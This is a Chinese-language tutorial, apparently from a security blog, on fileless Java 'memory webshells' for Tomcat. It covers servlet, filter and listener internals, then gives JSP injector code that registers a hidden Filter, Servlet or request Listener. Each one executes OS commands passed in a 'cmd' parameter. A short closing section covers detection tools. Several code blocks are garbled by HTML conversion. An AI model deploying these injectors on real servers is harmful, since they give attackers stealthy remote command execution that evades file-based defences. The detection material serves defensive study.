1.1. 内存马简介

1.1.1. 什么是内存马

随着每年攻防对抗强度的增加,普通的webshell在各大厂商的安全设备下,根本难以存活,想要落地一个实体webshell的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。

内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。

2020101320190720

1.1.2. 如何实现内存马

实现目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果

实现方法:以java为例,客户端发起的web请求会依次经过Listener-->Filter-->Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。

Perbedaan antara Filter dan Pendengar dalam Servlet (Java EE)

1.1.3. 内存马类型

根据注入的方式,大概分类以下两类:

  • servlet-api型
    • 通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如springcontroller内存马,tomcatvalve内存马
  • 字节码增强型
    • 通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

1.2. 背景知识

1.2.1. Java web三大件

详情的可以自己去研究,搜索关键词maven tomcat servlet 开发,这里大概描述一下

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

请求的处理过程

浏览器访问Servlet过程

  1. 浏览器向 Web 服务器发送了一个 HTTP 请求,Servlet容器根据收到的请求,会先创建一个 HttpServletRequestHttpServletResponse 对象

  2. 调用相应的 Servlet 程序,在 Servlet 程序运行时,它首先会从 HttpServletRequest 对象中读取数据信息,然后通过 service() 方法处理请求消息

  3. service()方法根据请求类型,分别调用doGet或者doPost方法,其中doXXX方法是我们自己写的逻辑Controller
  4. 将处理后的响应数据写入到 HttpServletResponse 对象中。
  5. Web 服务器会从 HttpServletResponse 对象中读取到响应数据,并发送给浏览器
  6. 容器关闭时候,会调用destory方法

需要注意的是,在Web服务器运行阶段,每个Servlet都只会创建一个实例对象,针对每次HTTP请求,Web服务器都会调用所请求Servlet实例的 service(HttpServletRequest request,HttpServletResponse response)方法,并重新创建一个 request 对象和一个 response 对象。

servlet生命周期

Servlet生命周期

  1. 服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)
  2. servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
  3. 服务器关闭时,销毁这个servlet对象,执行destroy()方法。
  4. 由JVM进行垃圾回收。
代码示例

image-20211123101401780

image-20211123101431152

Filter

filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

简单来说就是在Servlet处理请求前和Servlet响应请求后实现一些特殊的功能

image-20211123101042171

基本工作原理

1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。

2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。

3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。

4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。

5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。

6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

filter的生命周期
  1. 当服务器启动,就会创建Filter对象(随着Tomcat的启动而创建),并调用init()方法,只调用一次
  2. 当访问资源时,路径与filter拦截路径匹配,会执行Filter中的doFilter方法,这个方法是真正拦截操作的方法。
  3. 当服务器关闭时,会调用Filter中的destroy方法来进行销毁操作。
filter链

当多个filter同时存在的时候,组成了filter链。

web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。

java web filter链

代码示例

image-20211123102549485

image-20211123102558677

Listener

程序开发中,经常需要对某些事件进行监听,比如监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

事件:用户的一个操作,如点击按钮

事件源:产生事件的对象。

监听器:负责监听发生在事件源上的事件。

注册监听:将事件,事件源,监听器绑定在一起。当事件源上发生某个事件后,执行监听器代码。

代码示例
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionAttributeListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
import javax.servlet.http.HttpSessionBindingEvent;

@WebListener()
public class HelloListener implements ServletContextListener,
        HttpSessionListener, HttpSessionAttributeListener {

    // Public constructor is required by servlet spec
    public HelloListener() {
    }

    // -------------------------------------------------------
    // ServletContextListener implementation
    // -------------------------------------------------------
    public void contextInitialized(ServletContextEvent sce) {   // 初始化资源,例如打开数据库连接池等:
      /* This method is called when the servlet context is
         initialized(when the Web application is deployed). 
         You can initialize servlet context related data here.
      */
    }

    public void contextDestroyed(ServletContextEvent sce) { // 清理WebApp,例如关闭数据库连接池等
      /* This method is invoked when the Servlet Context 
         (the Web application) is undeployed or 
         Application Server shuts down.
      */
    }

    // -------------------------------------------------------
    // HttpSessionListener implementation
    // -------------------------------------------------------
    public void sessionCreated(HttpSessionEvent se) {
        /* Session is created. */
    }

    public void sessionDestroyed(HttpSessionEvent se) {
        /* Session is destroyed. */
    }

    // -------------------------------------------------------
    // HttpSessionAttributeListener implementation
    // -------------------------------------------------------

    public void attributeAdded(HttpSessionBindingEvent sbe) {
      /* This method is called when an attribute 
         is added to a session.
      */
    }

    public void attributeRemoved(HttpSessionBindingEvent sbe) {
      /* This method is called when an attribute
         is removed from a session.
      */
    }

    public void attributeReplaced(HttpSessionBindingEvent sbe) {
      /* This method is invoked when an attribute
         is replaced in a session.
      */
    }
}

1.2.2. Tomcat

简单理解,tomcat是http服务器+servlet容器。

Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,传递给servlet;同时会将响应的信息封装为HttpServletResponse类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。

servlet工作流程_yuyibo95的博客-CSDN博客_servlet工作流程

Tomcat架构设计

Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是连接器容器连接器用来处理外部网络连接,容器用来处理内部 Servlet

tomcat

一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 ServletRequestServletResponse 对象进行交流。

Container容器中包含4个子容器,且存在包含关系,分别是:

容器 实现类 含义
Engine org.apache.catalina.core.StandardEngine 最顶层容器组件,可以包含多个Host
Host org.apache.catalina.core.StandardHost 一个Host代表一个虚拟主机,如a.com、b.com,其下可以有多个Context
Context org.apache.catalina.core.StandardContext 一个Context代表一个Web应用,如/example、/ROOT、/manager,其下可有多个Wrapper
Wrapper org.apache.catalina.core.StandardWrapper 一个Wrapper通常代表一个Servlet,是对Servlet的封装

一个engine可以对一个多个host,也就是虚拟主机,一个host可以对应多个context,也就是web应用,一个context对应多个wrapper,也就是servlet。这个映射关系,通过mapper组件来关联,mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下:

tomcat

1.2.3. 其他知识

反射

Java反射技术- Java小斌- 博客园

反射提供的功能,能在运行时(动态)的

  1. 获取一个类的所有成员变量和方法

  2. 创建一个类的对象

    a. 获取对象成员变量&赋值

    b. 调用对象的方法

    c. 判断对象所属的类

在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。

在使用Java反射机制时,主要步骤包括:

  1. 获取目标类型的Class对象
  2. 通过Class对象分别获取Constructor类对象、Method类对象和Field类对象
  3. 通过Constructor类对象、Method类对象和Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作

java instrumentation

动态 Instrumentation 是 Java SE 5 的新特性,它在 java.lang.instrument 包中,它把 Java 的 instrument 功能从本地代码中释放出来,使其可以用 Java 代码的方式解决问题。使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至可以替换和修改某些类的定义。有了这样的功能,开发者就可以实现更为灵活的虚拟机监控和 Java的类操作了,这样的特性实际上提供了一种虚拟机级别支持的 AOP方式,使得开发者无需对原有应用做任何修改,就可以实现类的动态修改和增强

java.lang.instrument 包被赋予了更强大的功能:启动后的 监测、本地代码(native code)监测,以及动态改变 classpath 等等。这些改变,意味着 Java 具有了更强的动态控制与解释能力,它使得 Java 语言变得更加灵活多变。

Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。 在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码

Java Intrumentation 和相关应用| 无知是天堂

1.3. servlet-api内存马编写

所有内存马编写时,都可以自己写一个对应的东西,比如filter、servlet,然后去跟一下Tomcat本身是如何去添加这些东西的,最后模拟一下这个过程动态添加就行了

1.3.1. Filter内存马

Filter 内存马是通过动态注册以一个恶意Filter,由于是动态注册的,所以这个filter没有文件实体,存在内存中,当tomcat重启就消失了

一般我们把这个Filter放在所有的filter最前面优先执行,也就是filter链的第一个,这样我们的请求就不会受到其他filter的干扰

需要动态注册filter就需要添加filter相关的库、函数等

ServletContext

需要动态注册filter就需要几个添加filter相关的函数,ServletContext恰好可以满足这个条件

javax.servlet.servletContext中存在addFilteraddServletaddListener方法,即添加Filter,Servlet,Listener

获取ServletContext的方法:this.getServletContext();this.getServletConfig().getServletContext();

ApplicationContext

在Tomcat中,org.apache.catalina.core.ApplicationContext中包含一个ServletContext接口的实现,所以需要引入org.apache.catalina.core.ApplicationContext这个库,用它获取上下文StandardContext

Filter相关变量

名称 说明
filterMaps 变量 存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
filterDefs 变量 存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
filterConfigs 变量 存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDefFilter对象等信息
FilterChain 变量 过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
ApplicationFilterChain 调用过滤器链
ApplicationFilterConfig 获取过滤器
ApplicationFilterFactory 组装过滤器链
StandardContext Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper**
StandardWrapperValve 一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

org.apache.catalina.core.ApplicationFilterConfig 在tomcat不同版本需要通过不同的库引入FilterMapFilterDef

// tomcat 7
import org.apache.catalina.deploy.FilterMap;
import org.apache.catalina.deploy.FilterDef;

// tomcat 8/9
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.descriptor.web.FilterDef;

动态注入内存

需要调试的话,直接给想要调试的代码写到servlet里面就可以调试了,避免去尝试调试JSP

流程:

  1. 创建一个恶意Filter

  2. 利用FilterDef对Filter进行一个封装

  3. 将FilterDef添加到FilterDefs和FilterConfig

  4. 创建FilterMap ,将我们的Filter和urlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的Filter最先触发)

Tomcat中的对应的ServletContext实现是ApplicationContext,在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

image-20211124091110131

当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context

<%@ page="" contenttype="text/html;charset=UTF-8" language="java" %="">
<%@ page="" import="org.apache.catalina.Context" %="">
<%@ page="" import="org.apache.catalina.core.ApplicationContext" %="">
<%@ page="" import="org.apache.catalina.core.ApplicationFilterConfig" %="">
<%@ page="" import="org.apache.catalina.core.StandardContext" %="">
<%@ page="" import="javax.servlet.*" %="">
<%@ page="" import="java.io.IOException" %="">
<%@ page="" import="java.lang.reflect.Constructor" %="">
<%@ page="" import="java.lang.reflect.Field" %="">
<%@ page="" import="java.util.Map" %="">

<%@ page="" import="org.apache.tomcat.util.descriptor.web.FilterDef" %="">
<%@ page="" import="org.apache.tomcat.util.descriptor.web.FilterMap" %="">

<% 创建一个恶意的filter,需要实现filter接口="" class="" filterdemo="" implements="" filter="" {="" @override="" public="" void="" init(filterconfig="" filterconfig)="" throws="" servletexception="" }="" dofilter(servletrequest="" servletrequest,="" servletresponse="" servletresponse,="" filterchain="" filterchain)="" ioexception,="" string="" cmd="servletRequest.getParameter("cmd");" if="" (cmd!="null)" process="" java.io.bufferedreader="" bufferedreader="new" java.io.bufferedreader(="" new="" java.io.inputstreamreader(process.getinputstream()));="" stringbuilder="" stringbuilder();="" line;="" while="" ((line="bufferedReader.readLine())" !="null)" stringbuilder.append(line="" +="" '\n');="" servletresponse.getoutputstream().write(stringbuilder.tostring().getbytes());="" servletresponse.getoutputstream().flush();="" servletresponse.getoutputstream().close();="" return;="" filterchain.dofilter(servletrequest,="" servletresponse);="" destroy()="" %="">


<% 从org.apache.catalina.core.applicationcontext反射获取context方法="" servletcontext="" field="" appctx="servletContext.getClass().getDeclaredField("context");" appctx.setaccessible(true);="" applicationcontext="" appctx.get(servletcontext);="" stdctx="applicationContext.getClass().getDeclaredField("context");" stdctx.setaccessible(true);="" standardcontext="" stdctx.get(applicationcontext);="" configs="standardContext.getClass().getDeclaredField("filterConfigs");" configs.setaccessible(true);="" filterconfigs="" 中存放的所有拦截器="" map="" configs.get(standardcontext);="" string="" name="filterDemo" ;="" 判断是否存在filterdemo1这个filter,如果没有则准备创建="" if="" (filterconfigs.get(name)="=" null){="" 定义一些基础属性、类名、filter名等="" filterdemo="" filter="new" filterdemo();="" filterdef="" filterdef();="" filterdef.setfiltername(name);="" filterdef.setfilterclass(filter.getclass().getname());="" filterdef.setfilter(filter);="" 添加filterdef="" standardcontext.addfilterdef(filterdef);="" 创建filtermap,设置filter和url的映射关系,可设置成单一url如="" xyz="" ,也可以所有页面都可触发可设置为="" *="" filtermap="" filtermap();="" filtermap.addurlpattern("="" *");="" 这里可根据实际情况添加拦截器拦截的路由="" xyz");="" filtermap.setfiltername(name);="" filtermap.setdispatcher(dispatchertype.request.name());="" 添加我们的filtermap到所有filter最前面="" standardcontext.addfiltermapbefore(filtermap);="" 反射创建filterconfig,传入standardcontext与filterdef="" constructor="" filterdef.class);="" constructor.setaccessible(true);="" applicationfilterconfig="" filterconfig="(ApplicationFilterConfig)" constructor.newinstance(standardcontext,="" filterdef);="" 将filter名和配置好的filterconifg传入="" filterconfigs.put(name,filterconfig);="" out.write("inject="" success!");="" }="" else{="" out.write("injected!");="" %="">

image-20211123190816208

1.3.2. Servlet内存马

启动

常规情况下在启动时,会自动调用StandardContext.addServletMappingDecoded()方法给我们定义的路由和名字加进去,所有后面动态注入也是利用的这个方法,获取到StandardContext然后添加即可,前提是要给这个servlet先添加到children

image-20211124100859292

  • servletMappings和前提判断条件

image-20211124102229031

  • findChild()

image-20211124101633003

  • addChild()

image-20211124102754954

会给我们创建的servlet/wrapper添加到children

image-20211124102113072

动态注入内存

下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContextchildren当中,最后添加ServletMapping将访问的URLwrapper进行绑定。


<%@ page="" import="java.io.IOException" %="">
<%@ page="" import="java.io.InputStream" %="">
<%@ page="" import="java.util.Scanner" %="">
<%@ page="" import="org.apache.catalina.core.StandardContext" %="">
<%@ page="" import="java.io.PrintWriter" %="">

<% 创建恶意servlet="" servlet="" servlet()="" {="" @override="" public="" void="" init(servletconfig="" servletconfig)="" throws="" servletexception="" }="" servletconfig="" getservletconfig()="" return="" null;="" service(servletrequest="" servletrequest,="" servletresponse="" servletresponse)="" servletexception,="" ioexception="" string="" cmd="servletRequest.getParameter("cmd");" boolean="" islinux="true;" ostyp="System.getProperty("os.name");" if="" (ostyp="" !="null" &&="" ostyp.tolowercase().contains("win"))="" string[]="" cmds="isLinux" ?="" new="" string[]{"sh",="" "-c",="" cmd}="" :="" string[]{"cmd.exe",="" "="" c",="" cmd};="" inputstream="" in="Runtime.getRuntime().exec(cmds).getInputStream();" scanner="" s="new" scanner(in).usedelimiter("\\a");="" output="s.hasNext()" s.next()="" "";="" printwriter="" out="servletResponse.getWriter();" out.write(output);="" out.flush();="" out.close();="" getservletinfo()="" destroy()="" };="" %="">
<% 获取standardcontext="" org.apache.catalina.loader.webappclassloaderbase="" webappclassloaderbase="(org.apache.catalina.loader.WebappClassLoaderBase)" thread.currentthread().getcontextclassloader();="" standardcontext="" standardctx="(StandardContext)webappClassLoaderBase.getResources().getContext();" 用wrapper对其进行封装="" org.apache.catalina.wrapper="" newwrapper="standardCtx.createWrapper();" newwrapper.setname("testsaaa");="" newwrapper.setloadonstartup(1);="" newwrapper.setservlet(servlet);="" newwrapper.setservletclass(servlet.getclass().getname());="" 添加封装后的恶意wrapper到standardcontext的children当中="" standardctx.addchild(newwrapper);="" 添加servletmapping将访问的url和servlet进行绑定="" 低版本此处可能为="" addservletmapping="" standardctx.addservletmappingdecoded("="" shell","testsaaa");="" %="">

执行上述代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。

比如早期rebeyond师傅开发的memshell,就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。

image-20211123140640054

1.3.3. Listener内存马

Listener的监听主要分为三类:

  • ServletContext监听:用于对Servlet整个上下文进行监听(创建、销毁)
  • Session监听:对Session的整体状态的监听
  • Request监听:用于对Request请求进行监听(创建、销毁)

对于这三类,熟悉java和Tomcat的同学应该知道,对于request的请求和篡改是常见的利用方式,另两者涉及到服务器的启动跟停止,或者是Session的建立跟销毁,就不太适合

ServletRequestListener接口

该接口实现的方法有requestDestroyedrequestInitialized,分别是在监听request请求结束,以及request请求开始,我们着重看请求开始的部分

image-20211123192336004

requestInitialized这个函数中,我们从servletRequestEvent参数中取cmd参数,在当前上下文只要在任意路由下监听到了cmd参数存在值,那么就执行命令,具体操作如下

public void requestInitialized(ServletRequestEvent servletRequestEvent) {
    String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
    if(cmd != null){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {}
    }
}

这里是没有回显的,盲的

动态注入内存

<%@ page="" import="java.io.IOException" %="">
<%@ page="" import="org.apache.catalina.core.StandardContext" %="">

<% servletrequestlistener="" listener="new" servletrequestlistener()="" {="" @override="" public="" void="" requestinitialized(servletrequestevent="" sre)="" string="" cmd="sre.getServletRequest().getParameter("cmd");" if(cmd="" !="null){" try="" runtime.getruntime().exec(cmd);="" }="" catch="" (ioexception="" e)="" {}="" };="" %="">

<% 获取standardcontext="" org.apache.catalina.loader.webappclassloaderbase="" webappclassloaderbase="(org.apache.catalina.loader.WebappClassLoaderBase)" thread.currentthread().getcontextclassloader();="" standardcontext="" standardctx="(StandardContext)webappClassLoaderBase.getResources().getContext();" standardctx.addapplicationeventlistener(listener);="" %="">

image-20211123192949328

1.4. servlet-api总结

以上三种根据Servlet的特性,动态注入,jsp文件只要落地,即可动态加载到内存中

姿势 优点 缺点
Filter 通过添加全局拦截器对参数进行拦截,来进行恶意代码执行通过添加filtermap,可以随便设置路由,所有请求都会过该拦截器 引入filterMapsfilterDef,要根据tomcat版本来判断代码量较高
Servlet 简单方便,了解Servlet生命周期即可更直观了解如何动态添加ServletMapping 无法使所有参数都经过恶意代码,只能在我们自己设定的url中才能触发
Listener 简单方便,通过添加监听器对request进行监控在任意url中都能设置我们监听的参数 只要监听的参数含有就会进入监听代码中如果在该jsp页面下访问,则会重放请求

1.5. 内存马查杀

查杀感觉很多都是依赖于Java agent去查杀的。

1.5.1. arthas

Arthas 是Alibaba开源的Java诊断工具

下载arthas-boot.jar,然后用java -jar的方式启动:

curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar

image-20211208134514442

  • 通过mbean命令,可以便捷的查看或监控 Mbean 的属性信息(可以查看异常Filter/Servlet节点)

image-20211208134927536

  • 使用jad反编译class源码(感觉是依赖于cfr-decompiler这个小工具)

image-20211208135455680

1.5.2. copagent

Java内存马提取工具,arthas的改进版,可以确定风险等级,并且将内存中的信息全部输出

地址:https://github.com/LandGrey/copagent

下载cop.jar,然后启动

wget https://github.com/LandGrey/copagent/raw/release/cop.jar
java -jar cop.jar

image-20211208140508288

查看输出结果

image-20211208140724649

找到相关的class文件并反编译

image-20211208141523495

1.5.3. java-memshell-scanner

通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。

地址:https://github.com/c0ny1/java-memshell-scanner

image-20211208141907949

dump下来反编译

image-20211208142040825

1.6. 参考

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:52:02

results matching ""

    No results matching ""